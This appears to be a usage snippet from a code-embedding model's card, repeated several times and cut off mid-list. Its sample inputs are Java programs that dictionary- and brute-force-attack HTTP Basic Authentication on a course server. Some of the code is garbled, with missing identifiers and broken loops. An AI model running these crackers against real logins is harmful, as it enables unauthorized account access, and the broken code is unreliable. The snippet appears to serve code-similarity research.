    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
